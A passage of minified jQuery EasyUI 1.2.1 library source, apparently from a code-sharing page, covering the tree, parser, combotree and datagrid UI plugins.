li=_9b.parent(); var ul=li.parent(); li.remove(); if(ul.children("li").length==0){ var _9b=ul.prev(); _9b.find(".tree-icon").removeClass("tree-folder").addClass("tree-file"); _9b.find(".tree-hit").remove(); $("<span class=\"tree-indent\"></span>").prependTo(_9b); if(ul[0]!=_98){ ul.remove(); } } if(_9a){ _3a(_98,_9a.target); } }; function _9c(_9d,_9e){ function _9f(aa,ul){ ul.children("li").each(function(){ var _a0=$(this).children("div.tree-node"); var _a1=_33(_9d,_a0[0]); var sub=$(this).children("ul"); if(sub.length){ _a1.children=[]; _9c(_a1.children,sub); } aa.push(_a1); }); }; if(_9e){ var _a2=_33(_9d,_9e); _a2.children=[]; _9f(_a2.children,$(_9e).next()); return _a2; }else{ return null; } }; function _a3(_a4,_a5){ var _a6=$(_a5.target); var _a7=$.data(_a5.target,"tree-node"); if(_a7.iconCls){ _a6.find(".tree-icon").removeClass(_a7.iconCls); } $.extend(_a7,_a5); $.data(_a5.target,"tree-node",_a7); _a6.attr("node-id",_a7.id); _a6.find(".tree-title").html(_a7.text); if(_a7.iconCls){ _a6.find(".tree-icon").addClass(_a7.iconCls); } var ck=_a6.find(".tree-checkbox"); ck.removeClass("tree-checkbox0 tree-checkbox1 tree-checkbox2"); if(_a7.checked){ _2a(_a4,_a5.target,true); }else{ _2a(_a4,_a5.target,false); } }; function _33(_a8,_a9){ var _aa=$.extend({},$.data(_a9,"tree-node"),{target:_a9,checked:$(_a9).find(".tree-checkbox").hasClass("tree-checkbox1")}); if(!_3f(_a8,_a9)){ _aa.state=$(_a9).find(".tree-hit").hasClass("tree-expanded")?"open":"closed"; } return _aa; }; function _ab(_ac,id){ var _ad=$(_ac).find("div.tree-node[node-id="+id+"]"); if(_ad.length){ return _33(_ac,_ad[0]); }else{ return null; } }; function _ae(_af,_b0){ var _b1=$.data(_af,"tree").options; var _b2=_33(_af,_b0); if(_b1.onBeforeSelect.call(_af,_b2)==false){ return; } $("div.tree-node-selected",_af).removeClass("tree-node-selected"); $(_b0).addClass("tree-node-selected"); _b1.onSelect.call(_af,_b2); }; function _3f(_b3,_b4){ var _b5=$(_b4); var hit=_b5.children("span.tree-hit"); return hit.length==0; }; $.fn.tree=function(_b6,_b7){ if(typeof _b6=="string"){ return $.fn.tree.methods[_b6](this,_b7); } var _b6=_b6||{}; return this.each(function(){ var _b8=$.data(this,"tree"); var _b9; if(_b8){ _b9=$.extend(_b8.options,_b6); _b8.options=_b9; }else{ _b9=$.extend({},$.fn.tree.defaults,$.fn.tree.parseOptions(this),_b6); $.data(this,"tree",{options:_b9,tree:_1(this)}); var _ba=_4(this); _44(this,this,_ba); } if(_b9.data){ _44(this,this,_b9.data); } if(_b9.url){ _53(this,this); } }); }; $.fn.tree.methods={options:function(jq){ return $.data(jq[0],"tree").options; },loadData:function(jq,_bb){ return jq.each(function(){ _44(this,this,_bb); }); },getNode:function(jq,_bc){ return _33(jq[0],_bc); },getData:function(jq,_bd){ return _9c(jq[0],_bd); },reload:function(jq,_be){ return jq.each(function(){ if(_be){ var _bf=$(_be); var hit=_bf.children("span.tree-hit"); hit.removeClass("tree-expanded tree-expanded-hover").addClass("tree-collapsed"); _bf.next().remove(); _5c(this,_be); }else{ $(this).empty(); _53(this,this); } }); },getRoot:function(jq){ return _78(jq[0]); },getRoots:function(jq){ return _7b(jq[0]); },getParent:function(jq,_c0){ return _73(jq[0],_c0); },getChildren:function(jq,_c1){ return _43(jq[0],_c1); },getChecked:function(jq){ return _87(jq[0]); },getSelected:function(jq){ return _8b(jq[0]); },isLeaf:function(jq,_c2){ return _3f(jq[0],_c2); },find:function(jq,id){ return _ab(jq[0],id); },select:function(jq,_c3){ return jq.each(function(){ _ae(this,_c3); }); },check:function(jq,_c4){ return jq.each(function(){ _2a(this,_c4,true); }); },uncheck:function(jq,_c5){ return jq.each(function(){ _2a(this,_c5,false); }); },collapse:function(jq,_c6){ return jq.each(function(){ _63(this,_c6); }); },expand:function(jq,_c7){ return jq.each(function(){ _5c(this,_c7); }); },collapseAll:function(jq,_c8){ return jq.each(function(){ _74(this,_c8); }); },expandAll:function(jq,_c9){ return jq.each(function(){ _6b(this,_c9); }); },expandTo:function(jq,_ca){ return jq.each(function(){ _6f(this,_ca); }); },toggle:function(jq,_cb){ return jq.each(function(){ _68(this,_cb); }); },append:function(jq,_cc){ return jq.each(function(){ _8e(this,_cc); }); },insert:function(jq,_cd){ return jq.each(function(){ _93(this,_cd); }); },remove:function(jq,_ce){ return jq.each(function(){ _97(this,_ce); }); },pop:function(jq,_cf){ var _d0=jq.tree("getData",_cf); jq.tree("remove",_cf); return _d0; },update:function(jq,_d1){ return jq.each(function(){ _a3(this,_d1); }); }}; $.fn.tree.parseOptions=function(_d2){ var t=$(_d2); return {url:t.attr("url"),checkbox:(t.attr("checkbox")?t.attr("checkbox")=="true":undefined),cascadeCheck:(t.attr("cascadeCheck")?t.attr("cascadeCheck")=="true":undefined),onlyLeafCheck:(t.attr("onlyLeafCheck")?t.attr("onlyLeafCheck")=="true":undefined),animate:(t.attr("animate")?t.attr("animate")=="true":undefined),dnd:(t.attr("dnd")?t.attr("dnd")=="true":undefined)}; }; $.fn.tree.defaults={url:null,method:"post",animate:false,checkbox:false,cascadeCheck:true,onlyLeafCheck:false,dnd:false,data:null,onBeforeLoad:function(_d3,_d4){ },onLoadSuccess:function(_d5,_d6){ },onLoadError:function(){ },onClick:function(_d7){ },onDblClick:function(_d8){ },onBeforeExpand:function(_d9){ },onExpand:function(_da){ },onBeforeCollapse:function(_db){ },onCollapse:function(_dc){ },onCheck:function(_dd,_de){ },onBeforeSelect:function(_df){ },onSelect:function(_e0){ },onContextMenu:function(e,_e1){ },onDrop:function(_e2,_e3,_e4){ }}; })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ $.parser={auto:true,onComplete:function(_1){ },plugins:["linkbutton","menu","menubutton","splitbutton","tree","combobox","combotree","numberbox","validatebox","numberspinner","timespinner","calendar","datebox","layout","panel","datagrid","tabs","accordion","window","dialog"],parse:function(_2){ var aa=[]; for(var i=0;i<$.parser.plugins.length;i++){ var _3=$.parser.plugins[i]; var r=$(".easyui-"+_3,_2); if(r.length){ if(r[_3]){ r[_3](); }else{ aa.push({name:_3,jq:r}); } } } if(aa.length&&window.easyloader){ var _4=[]; for(var i=0;i<aa.length;i++){ _4.push(aa[i].name); } easyloader.load(_4,function(){ for(var i=0;i<aa.length;i++){ var _5=aa[i].name; var jq=aa[i].jq; jq[_5](); } $.parser.onComplete.call($.parser,_2); }); }else{ $.parser.onComplete.call($.parser,_2); } }}; $(function(){ if(!window.easyloader&&$.parser.auto){ $.parser.parse(); } }); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$.data(_2,"combotree").options; var _4=$.data(_2,"combotree").tree; $(_2).addClass("combotree-f"); $(_2).combo(_3); var _5=$(_2).combo("panel"); if(!_4){ _4=$("<ul></ul>").appendTo(_5); $.data(_2,"combotree").tree=_4; } _4.tree($.extend({},_3,{checkbox:_3.multiple,onLoadSuccess:function(_6,_7){ var _8=$(_2).combotree("getValues"); if(_3.multiple){ var _9=_4.tree("getChecked"); for(var i=0;i<_9.length;i++){ var id=_9[i].id; (function(){ for(var i=0;i<_8.length;i++){ if(id==_8[i]){ return; } } _8.push(id); })(); } } $(_2).combotree("setValues",_8); _3.onLoadSuccess.call(this,_6,_7); },onClick:function(_a){ _d(_2); $(_2).combo("hidePanel"); _3.onClick.call(this,_a); },onCheck:function(_b,_c){ _d(_2); _3.onCheck.call(this,_b,_c); }})); }; function _d(_e){ var _f=$.data(_e,"combotree").options; var _10=$.data(_e,"combotree").tree; var vv=[],ss=[]; if(_f.multiple){ var _11=_10.tree("getChecked"); for(var i=0;i<_11.length;i++){ vv.push(_11[i].id); ss.push(_11[i].text); } }else{ var _12=_10.tree("getSelected"); if(_12){ vv.push(_12.id); ss.push(_12.text); } } $(_e).combo("setValues",vv).combo("setText",ss.join(_f.separator)); }; function _13(_14,_15){ var _16=$.data(_14,"combotree").options; var _17=$.data(_14,"combotree").tree; _17.find("span.tree-checkbox").addClass("tree-checkbox0").removeClass("tree-checkbox1 tree-checkbox2"); var vv=[],ss=[]; for(var i=0;i<_15.length;i++){ var v=_15[i]; var s=v; var _18=_17.tree("find",v); if(_18){ s=_18.text; _17.tree("check",_18.target); _17.tree("select",_18.target); } vv.push(v); ss.push(s); } $(_14).combo("setValues",vv).combo("setText",ss.join(_16.separator)); }; $.fn.combotree=function(_19,_1a){ if(typeof _19=="string"){ var _1b=$.fn.combotree.methods[_19]; if(_1b){ return _1b(this,_1a); }else{ return this.combo(_19,_1a); } } _19=_19||{}; return this.each(function(){ var _1c=$.data(this,"combotree"); if(_1c){ $.extend(_1c.options,_19); }else{ $.data(this,"combotree",{options:$.extend({},$.fn.combotree.defaults,$.fn.combotree.parseOptions(this),_19)}); } _1(this); }); }; $.fn.combotree.methods={options:function(jq){ return $.data(jq[0],"combotree").options; },tree:function(jq){ return $.data(jq[0],"combotree").tree; },loadData:function(jq,_1d){ return jq.each(function(){ var _1e=$.data(this,"combotree").options; _1e.data=_1d; var _1f=$.data(this,"combotree").tree; _1f.tree("loadData",_1d); }); },reload:function(jq,url){ return jq.each(function(){ var _20=$.data(this,"combotree").options; var _21=$.data(this,"combotree").tree; if(url){ _20.url=url; } _21.tree({url:_20.url}); }); },setValues:function(jq,_22){ return jq.each(function(){ _13(this,_22); }); },setValue:function(jq,_23){ return jq.each(function(){ _13(this,[_23]); }); },clear:function(jq){ return jq.each(function(){ var _24=$.data(this,"combotree").tree; _24.find("div.tree-node-selected").removeClass("tree-node-selected"); $(this).combo("clear"); }); }}; $.fn.combotree.parseOptions=function(_25){ return $.extend({},$.fn.combo.parseOptions(_25),$.fn.tree.parseOptions(_25)); }; $.fn.combotree.defaults=$.extend({},$.fn.combo.defaults,$.fn.tree.defaults,{editable:false}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ $.extend(Array.prototype,{indexOf:function(o){ for(var i=0,_1=this.length;i<_1;i++){ if(this[i]==o){ return i; } } return -1; },remove:function(o){ var _2=this.indexOf(o); if(_2!=-1){ this.splice(_2,1); } return this; }}); function _3(_4,_5){ var _6=$.data(_4,"datagrid").options; var _7=$.data(_4,"datagrid").panel; if(_5){ if(_5.width){ _6.width=_5.width; } if(_5.height){ _6.height=_5.height; } } if(_6.fit==true){ var p=_7.panel("panel").parent(); _6.width=p.width(); _6.height=p.height(); } _7.panel("resize",{width:_6.width,height:_6.height}); }; function _8(_9){ var _a=$.data(_9,"datagrid").options; var _b=$.data(_9,"datagrid").panel; var _c=_b.width(); var _d=_b.height(); var _e=_b.find("div.datagrid-view"); var _f=_e.find("div.datagrid-view1"); var _10=_e.find("div.datagrid-view2"); _e.width(_c); _f.width(_f.find("table").width()); _10.width(_c-_f.outerWidth()); _f.children("div.datagrid-header,div.datagrid-body").width(_f.width()); _10.children("div.datagrid-header,div.datagrid-body").width(_10.width()); var hh; var _11=_f.children("div.datagrid-header"); var _12=_10.children("div.datagrid-header"); var _13=_11.find("table"); var _14=_12.find("table"); _11.css("height",null); _12.css("height",null); _13.css("height",null); _14.css("height",null); hh=Math.max(_13.height(),_14.height()); _13.height(hh); _14.height(hh); if($.boxModel==true){ _11.height(hh-(_11.outerHeight()-_11.height())); _12.height(hh-(_12.outerHeight()-_12.height())); }else{ _11.height(hh); _12.height(hh); } var _15=_e.find("div.datagrid-body"); if(_a.height=="auto"){ var _16=_10.children("div.datagrid-body"); var _17=18; _16.children().each(function(){ _17+=$(this).outerHeight(); }); _15.height(_17); }else{ _15.height(_d-_10.children("div.datagrid-header").outerHeight(true)-_b.children("div.datagrid-toolbar").outerHeight(true)-_b.children("div.datagrid-pager").outerHeight(true)); } _e.height(_10.height()); _10.css("left",_f.outerWidth()); }; function _18(_19,_1a){ var _1b=$.data(_19,"datagrid").data.rows; var _1c=$.data(_19,"datagrid").options; var _1d=$.data(_19,"datagrid").panel; var _1e=_1d.children("div.datagrid-view"); var _1f=_1e.children("div.datagrid-view1"); var _20=_1e.children("div.datagrid-view2"); if(!_1f.find("div.datagrid-body-inner").is(":empty")){ if(_1a>=0){ _21(_1a); }else{ for(var i=0;i<_1b.length;i++){ _21(i); } } } if(_1c.height=="auto"){ var _22=_1f.children("div.datagrid-body"); var _23=_20.children("div.datagrid-body"); var _24=18; _23.children().each(function(){ _24+=$(this).outerHeight(); }); _22.height(_24); _23.height(_24); _1e.height(_20.height()); } function _21(_25){ var tr1=_1f.find("tr[datagrid-row-index="+_25+"]"); var tr2=_20.find("tr[datagrid-row-index="+_25+"]"); tr1.css("height",null); tr2.css("height",null); var _26=Math.max(tr1.height(),tr2.height()); tr1.css("height",_26); tr2.css("height",_26); }; }; function _27(_28,_29){ function _2a(_2b){ var _2c=[]; $("tr",_2b).each(function(){ var _2d=[]; $("th",this).each(function(){ var th=$(this); var col={title:th.html(),align:th.attr("align")||"left",sortable:th.attr("sortable")=="true"||false,checkbox:th.attr("checkbox")=="true"||false}; if(th.attr("field")){ col.field=th.attr("field"); } if(th.attr("formatter")){ col.formatter=eval(th.attr("formatter")); } if(th.attr("editor")){ var s=$.trim(th.attr("editor")); if(s.substr(0,1)=="{"){ col.editor=eval("("+s+")"); }else{ col.editor=s; } } if(th.attr("rowspan")){ col.rowspan=parseInt(th.attr("rowspan")); } if(th.attr("colspan")){ col.colspan=parseInt(th.attr("colspan")); } if(th.attr("width")){ col.width=parseInt(th.attr("width")); } if(th.attr("hidden")){ col.hidden=th.attr("hidden")=="true"; } _2d.push(col); }); _2c.push(_2d); }); return _2c; }; var _2e=$("<div class=\"datagrid-wrap\">"+"<div class=\"datagrid-view\">"+"<div class=\"datagrid-view1\">"+"<div class=\"datagrid-header\">"+"<div class=\"datagrid-header-inner\"></div>"+"</div>"+"<div class=\"datagrid-body\">"+"<div class=\"datagrid-body-inner\"></div>"+"</div>"+"</div>"+"<div class=\"datagrid-view2\">"+"<div class=\"datagrid-header\">"+"<div class=\"datagrid-header-inner\"></div>"+"</div>"+"<div class=\"datagrid-body\"></div>"+"</div>"+"<div class=\"datagrid-resize-proxy\"></div>"+"</div>"+"</div>").insertAfter(_28); _2e.panel({doSize:false}); _2e.panel("panel").addClass("datagrid").bind("_resize",function(){ var _2f=$.data(_28,"datagrid").options; if(_2f.fit==true){ _3(_28); setTimeout(function(){ _30(_28); },0); } return false; }); $(_28).hide().appendTo(_2e.children("div.datagrid-view")); var _31=_2a($("thead[frozen=true]",_28)); var _32=_2a($("thead[frozen!=true]",_28)); return {panel:_2e,frozenColumns:_31,columns:_32}; }; function _33(_34){ var _35={total:0,rows:[]}; var _36=_37(_34,true).concat(_37(_34,false)); $(_34).find("tbody tr").each(function(){ _35.total++; var col={}; for(var i=0;i<_36.length;i++){ col[_36[i]]=$("td:eq("+i+")",this).html(); } _35.rows.push(col); }); return _35; }; function _38(_39){ var _3a=$.data(_39,"datagrid").options; var _3b=$.data(_39,"datagrid").panel; _3b.panel($.extend({},_3a,{doSize:false,onResize:function(_3c,_3d){ setTimeout(function(){ _8(_39); _6e(_39); _3a.onResize.call(_3b,_3c,_3d); },0); },onExpand:function(){ _8(_39); _3a.onExpand.call(_3b); }})); var _3e=_3b.find("div.datagrid-view1 div.datagrid-header-inner"); var _3f=_3b.find("div.datagrid-view2 div.datagrid-header-inner"); _40(_3e,_3a.frozenColumns,true); _40(_3f,_3a.columns,false); $("div.datagrid-toolbar",_3b).remove(); if(_3a.toolbar){ var tb=$("<div class=\"datagrid-toolbar\"></div>").prependTo(_3b); for(var i=0;i<_3a.toolbar.length;i++){ var btn=_3a.toolbar[i]; if(btn=="-"){ $("<div class=\"datagrid-btn-separator\"></div>").appendTo(tb); }else{ var _41=$("<a href=\"javascript:void(0)\"></a>"); _41[0].onclick=eval(btn.handler||function(){ }); _41.css("float","left").appendTo(tb).linkbutton($.extend({},btn,{plain:true})); } } } $("div.datagrid-pager",_3b).remove(); if(_3a.pagination){ var _42=$("<div class=\"datagrid-pager\"></div>").appendTo(_3b); _42.pagination({pageNumber:_3a.pageNumber,pageSize:_3a.pageSize,pageList:_3a.pageList,onSelectPage:function(_43,_44){ _3a.pageNumber=_43; _3a.pageSize=_44; _13b(_39); }}); _3a.pageSize=_42.pagination("options").pageSize; } function _40(_45,_46,_47){ $(_45).empty(); var t=$("<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><tbody></tbody></table>").appendTo(_45); for(var i=0;i<_46.length;i++){ var tr=$("<tr></tr>").appendTo($("tbody",t)); var _48=_46[i]; for(var j=0;j<_48.length;j++){ var col=_48[j]; var _49=""; if(col.rowspan){ _49+="rowspan=\""+col.rowspan+"\" "; } if(col.colspan){ _49+="colspan=\""+col.colspan+"\" "; } var td=$("<td "+_49+"></td>").appendTo(tr); if(col.checkbox){ td.attr("field",col.field); $("<div class=\"datagrid-header-check\"></div>").html("<input type=\"checkbox\"/>").appendTo(td); }else{ if(col.field){ td.attr("field",col.field); td.append("<div class=\"datagrid-cell\"><span></span><span class=\"datagrid-sort-icon\"></span></div>"); $("span",td).html(col.title); $("span.datagrid-sort-icon",td).html("&nbsp;"); var _4a=td.find("div.datagrid-cell"); col.boxWidth=$.boxModel?(col.width-(_4a.outerWidth()-_4a.width())):col.width; _4a.width(col.boxWidth); _4a.css("text-align",(col.align||"left")); }else{ $("<div class=\"datagrid-cell-group\"></div>").html(col.title).appendTo(td); } } if(col.hidden){ td.hide(); } } } if(_47&&_3a.rownumbers){ var td=$("<td rowspan=\""+_3a.frozenColumns.length+"\"><div class=\"datagrid-header-rownumber\"></div></td>"); if($("tr",t).length==0){ td.wrap("<tr></tr>").parent().appendTo($("tbody",t)); }else{ td.prependTo($("tr:first",t)); } } return t; }; }; function _4b(_4c){ var _4d=$.data(_4c,"datagrid").panel; var _4e=$.data(_4c,"datagrid").options; var _4f=$.data(_4c,"datagrid").data; var _50=_4d.find("div.datagrid-body"); _50.find("tr[datagrid-row-index]").unbind(".datagrid").bind("mouseenter.datagrid",function(){ var _51=$(this).attr("datagrid-row-index"); _50.find("tr[datagrid-row-index="+_51+"]").addClass("datagrid-row-over"); }).bind("mouseleave.datagrid",function(){ var _52=$(this).attr("datagrid-row-index"); _50.find("tr[datagrid-row-index="+_52+"]").removeClass("datagrid-row-over"); }).bind("click.datagrid",function(){ var _53=$(this).attr("datagrid-row-index"); if(_4e.singleSelect==true){ _57(_4c); _58(_4c,_53); }else{ if($(this).hasClass("datagrid-row-selected")){ _59(_4c,_53); }else{ _58(_4c,_53); } } if(_4e.onClickRow){ _4e.onClickRow.call(_4c,_53,_4f.rows[_53]); } }).bind("dblclick.datagrid",function(){ var _54=$(this).attr("datagrid-row-index"); if(_4e.onDblClickRow){ _4e.onDblClickRow.call(_4c,_54,_4f.rows[_54]); } }).bind("contextmenu.datagrid",function(e){ var _55=$(this).attr("datagrid-row-index"); if(_4e.onRowContextMenu){ _4e.onRowContextMenu.call(_4c,e,_55,_4f.rows[_55]); } }); _50.find("div.datagrid-cell-check input[type=checkbox]").unbind(".datagrid").bind("click.datagrid",function(e){ var _56=$(this).parent().parent().parent().attr("datagrid-row-index"); if(_4e.singleSelect){ _57(_4c); _58(_4c,_56); }else{ if($(this).attr("checked")){ _58(_4c,_56); }else{ _59(_4c,_56); } } e.stopPropagation(); }); }; function _5a(_5b){ var _5c=$.data(_5b,"datagrid").panel; var _5d=$.data(_5b,"datagrid").options; var _5e=_5c.find("div.datagrid-header"); _5e.find("td:has(div.datagrid-cell)").unbind(".datagrid").bind("mouseenter.datagrid",function(){ $(this).addClass("datagrid-header-over"); }).bind("mouseleave.datagrid",function(){ $(this).removeClass("datagrid-header-over"); }).bind("contextmenu.datagrid",function(e){ var _5f=$(this).attr("field"); _5d.onHeaderContextMenu.call(_5b,e,_5f); }); _5e.find("div.datagrid-cell").unbind(".datagrid").bind("click.datagrid",function(){ var _60=$(this).parent().attr("field"); var opt=_6c(_5b,_60); if(!opt.sortable){ return; } _5d.sortName=_60; _5d.sortOrder="asc"; var c="datagrid-sort-asc"; if($(this).hasClass("datagrid-sort-asc")){ c="datagrid-sort-desc"; _5d.sortOrder="desc"; } _5e.find("div.datagrid-cell").removeClass("datagrid-sort-asc datagrid-sort-desc"); $(this).addClass(c); if(_5d.onSortColumn){ _5d.onSortColumn.call(_5b,_5d.sortName,_5d.sortOrder); } if(_5d.remoteSort){ _13b(_5b); }else{ var _61=$.data(_5b,"datagrid").data; _97(_5b,_61); } }); _5e.find("input[type=checkbox]").unbind(".datagrid").bind("click.datagrid",function(){ if(_5d.singleSelect){ return false; } if($(this).attr("checked")){ _b4(_5b); }else{ _b2(_5b); } }); var _62=_5c.children("div.datagrid-view"); var _63=_62.children("div.datagrid-view1"); var _64=_62.children("div.datagrid-view2"); var _65=_64.find("div.datagrid-header"); var _66=_63.find("div.datagrid-body"); _64.find("div.datagrid-body").unbind(".datagrid").bind("scroll.datagrid",function(){ _65.scrollLeft($(this).scrollLeft()); _66.scrollTop($(this).scrollTop()); }); _5e.find("div.datagrid-cell").resizable({handles:"e",minWidth:25,onStartResize:function(e){ var _67=_62.children("div.datagrid-resize-proxy"); _67.css({left:e.pageX-$(_5c).offset().left-1}); _67.css("display","block"); },onResize:function(e){ var _68=_62.children("div.datagrid-resize-proxy"); _68.css({display:"block",left:e.pageX-$(_5c).offset().left-1}); return false; },onStopResize:function(e){ var _69=$(this).parent().attr("field"); var col=_6c(_5b,_69); col.width=$(this).outerWidth(); col.boxWidth=$.boxModel==true?$(this).width():$(this).outerWidth(); _30(_5b,_69); _6e(_5b); var _6a=_5c.find("div.datagrid-view2"); _6a.find("div.datagrid-header").scrollLeft(_6a.find("div.datagrid-body").scrollLeft()); _62.children("div.datagrid-resize-proxy").css("display","none"); _5d.onResizeColumn.call(_5b,_69,col.width); }}); $("div.datagrid-view1 div.datagrid-header div.datagrid-cell",_5c).resizable({onStopResize:function(e){ var _6b=$(this).parent().attr("field"); var col=_6c(_5b,_6b); col.width=$(this).outerWidth(); col.boxWidth=$.boxModel==true?$(this).width():$(this).outerWidth(); _30(_5b,_6b); var _6d=_5c.find("div.datagrid-view2"); _6d.find("div.datagrid-header").scrollLeft(_6d.find("div.datagrid-body").scrollLeft()); _62.children("div.datagrid-resize-proxy").css("display","none"); _5d.onResizeColumn.call(_5b,_6b,col.width); _3(_5b); }}); }; function _6e(_6f){ var _70=$.data(_6f,"datagrid").options; if(!_70.fitColumns){ return; } var _71=$.data(_6f,"datagrid").panel; var _72=_71.find("div.datagrid-view2 div.datagrid-header"); var _73=0; var _74=_37(_6f,false); for(var i=0;i<_74.length;i++){ var col=_6c(_6f,_74[i]); if(!col.hidden){ _73+=col.width; } } var _75=(_72.width()-_72.find("table").width()-18)/_73; for(var i=0;i<_74.length;i++){ var col=_6c(_6f,_74[i]); var _76=col.width-col.boxWidth; var _77=Math.floor(col.width+col.width*_75); col.width=_77; col.boxWidth=_77-_76; _72.find("td[field="+col.field+"] div.datagrid-cell").width(col.boxWidth); } _30(_6f); }; function _30(_78,_79){ var _7a=$.data(_78,"datagrid").panel; var _7b=$.data(_78,"datagrid").options; var _7c=_7a.find("div.datagrid-body"); if(_79){ fix(_79); }else{ _7a.find("div.datagrid-header td[field]").each(function(){ fix($(this).attr("field")); }); } _7f(_78); setTimeout(function(){ _18(_78); _88(_78); },0); function fix(_7d){ var col=_6c(_78,_7d); _7c.find("td[field="+_7d+"]").each(function(){ var td=$(this); var _7e=td.attr("colspan")||1; if(_7e==1){ td.find("div.datagrid-cell").width(col.boxWidth); td.find("div.datagrid-editable").width(col.width); } }); }; }; function _7f(_80){ var _81=$.data(_80,"datagrid").panel; var _82=_81.find("div.datagrid-header"); _81.find("div.datagrid-body td.datagrid-td-merged").each(function(){ var td=$(this); var _83=td.attr("colspan")||1; var _84=td.attr("field"); var _85=_82.find("td[field="+_84+"]"); var _86=_85.width(); for(var i=1;i<_83;i++){ _85=_85.next(); _86+=_85.outerWidth(); } var _87=td.children("div.datagrid-cell"); if($.boxModel==true){ _87.width(_86-(_87.outerWidth()-_87.width())); }else{ _87.width(_86); } }); }; function _88(_89){ var _8a=$.data(_89,"datagrid").panel; _8a.find("div.datagrid-editable").each(function(){ var ed=$.data(this,"datagrid.editor"); if(ed.actions.resize){ ed.actions.resize(ed.target,$(this).width()); } }); }; function _6c(_8b,_8c){ var _8d=$.data(_8b,"datagrid").options; if(_8d.columns){ for(var i=0;i<_8d.columns.length;i++){ var _8e=_8d.columns[i]; for(var j=0;j<_8e.length;j++){ var col=_8e[j]; if(col.field==_8c){ return col; } } } } if(_8d.frozenColumns){ for(var i=0;i<_8d.frozenColumns.length;i++){ var _8e=_8d.frozenColumns[i]; for(var j=0;j<_8e.length;j++){ var col=_8e[j]; if(col.field==_8c){ return col; } } } } return null; }; function _37(_8f,_90){ var _91=$.data(_8f,"datagrid").options; var _92=(_90==true)?(_91.frozenColumns||[[]]):_91.columns; if(_92.length==0){ return []; } var _93=[]; function _94(_95){ var c=0; var i=0; while(true){ if(_93[i]==undefined){ if(c==_95){ return i; } c++; } i++; } }; function _96(r){ var ff=[]; var c=0; for(var i=0;i<_92[r].length;i++){ var col=_92[r][i]; if(col.field){ ff.push([c,col.field]); } c+=parseInt(col.colspan||"1"); } for(var i=0;i<ff.length;i++){ ff[i][0]=_94(ff[i][0]); } for(var i=0;i<ff.length;i++){ var f=ff[i]; _93[f[0]]=f[1]; } }; for(var i=0;i<_92.length;i++){ _96(i); } return _93; }; function _97(_98,_99){ var _9a=$.data(_98,"datagrid").options; var _9b=$.data(_98,"datagrid").panel; var _9c=$.data(_98,"datagrid").selectedRows; var _9d=_99.rows; $.data(_98,"datagrid").data=_99; if(!_9a.remoteSort){ var opt=_6c(_98,_9a.sortName); if(opt){ var _9e=opt.sorter||function(a,b){ return (a>b?1:-1); }; _99.rows.sort(function(r1,r2){ return _9e(r1[_9a.sortName],r2[_9a.sortName])*(_9a.sortOrder=="asc"?1:-1); }); } } var _9f=_9b.children("div.datagrid-view"); var _a0=_9f.children("div.datagrid-view1"); var _a1=_9f.children("div.datagrid-view2"); if(_9a.view.onBeforeRender){ _9a.view.onBeforeRender.call(_9a.view,_98,_9d); } _9a.view.render.call(_9a.view,_98,_a1.children("div.datagrid-body"),false); _9a.view.render.call(_9a.view,_98,_a0.children("div.datagrid-body").children("div.datagrid-body-inner"),true); if(_9a.view.onAfterRender){ _9a.view.onAfterRender.call(_9a.view,_98); } _9a.onLoadSuccess.call(_98,_99); _a1.children("div.datagrid-body").triggerHandler("scroll"); var _a2=_9b.children("div.datagrid-pager"); if(_a2.length){ if(_a2.pagination("options").total!=_99.total){ _a2.pagination({total:_99.total}); } } _18(_98); _4b(_98); if(_9a.idField){ for(var i=0;i<_9d.length;i++){ if(_a3(_9d[i])){ _cc(_98,_9d[i][_9a.idField]); } } } function _a3(row){ for(var i=0;i<_9c.length;i++){ if(_9c[i][_9a.idField]==row[_9a.idField]){ _9c[i]=row; return true; } } return false; }; }; function _a4(_a5,row){ var _a6=$.data(_a5,"datagrid").options; var _a7=$.data(_a5,"datagrid").data.rows; if(typeof row=="object"){ return _a7.indexOf(row); }else{ for(var i=0;i<_a7.length;i++){ if(_a7[i][_a6.idField]==row){ return i; } } return -1; } }; function _a8(_a9){ var _aa=$.data(_a9,"datagrid").options; var _ab=$.data(_a9,"datagrid").panel; var _ac=$.data(_a9,"datagrid").data; if(_aa.idField){ var _ad=$.data(_a9,"datagrid").deletedRows; var _ae=$.data(_a9,"datagrid").selectedRows; var _af=[]; for(var i=0;i<_ae.length;i++){ (function(){ var row=_ae[i]; for(var j=0;j<_ad.length;j++){ if(row[_aa.idField]==_ad[j][_aa.idField]){ return; } } _af.push(row); })(); } return _af; } var _af=[]; $("div.datagrid-view2 div.datagrid-body tr.datagrid-row-selected",_ab).each(function(){ var _b0=parseInt($(this).attr("datagrid-row-index")); if(_ac.rows[_b0]){ _af.push(_ac.rows[_b0]); } }); return _af; }; function _57(_b1){ _b2(_b1); var _b3=$.data(_b1,"datagrid").selectedRows; while(_b3.length>0){ _b3.pop(); } }; function _b4(_b5){ var _b6=$.data(_b5,"datagrid").options; var _b7=$.data(_b5,"datagrid").panel; var _b8=$.data(_b5,"datagrid").data; var _b9=$.data(_b5,"datagrid").selectedRows; var _ba=_b8.rows; var _bb=_b7.find("div.datagrid-body"); $("tr",_bb).addClass("datagrid-row-selected"); $("div.datagrid-cell-check input[type=checkbox]",_bb).attr("checked",true); for(var _bc=0;_bc<_ba.length;_bc++){ if(_b6.idField){ (function(){ var row=_ba[_bc]; for(var i=0;i<_b9.length;i++){ if(_b9[i][_b6.idField]==row[_b6.idField]){ return; } } _b9.push(row); })(); } } _b6.onSelectAll.call(_b5,_ba); }; function _b2(_bd){ var _be=$.data(_bd,"datagrid").options; var _bf=$.data(_bd,"datagrid").panel; var _c0=$.data(_bd,"datagrid").data; var _c1=$.data(_bd,"datagrid").selectedRows; $("div.datagrid-body tr.datagrid-row-selected",_bf).removeClass("datagrid-row-selected"); $("div.datagrid-body div.datagrid-cell-check input[type=checkbox]",_bf).attr("checked",false); if(_be.idField){ for(var _c2=0;_c2<_c0.rows.length;_c2++){ var id=_c0.rows[_c2][_be.idField]; for(var 